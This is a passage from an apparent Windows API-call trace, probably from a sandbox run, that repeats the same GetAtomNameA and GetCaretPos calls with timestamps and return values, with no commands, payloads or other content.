out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.234] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.234] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.235] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.235] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.236] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.236] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.237] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.237] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.238] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.238] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.239] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.239] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.240] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.240] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.240] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.240] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.240] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.240] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.240] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.240] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.241] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.241] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.242] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.242] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.243] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.243] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.243] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.243] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.243] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.243] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.243] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.243] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.244] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.244] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.244] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.244] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.244] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.244] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.244] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.244] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.244] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.244] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.244] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.244] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.244] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.244] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.245] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.245] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.246] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.246] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.247] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.247] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.247] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.247] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.247] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.247] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.247] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.247] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.248] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.248] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.249] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.249] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.250] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.250] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.250] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.250] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.250] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.250] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.250] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.250] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 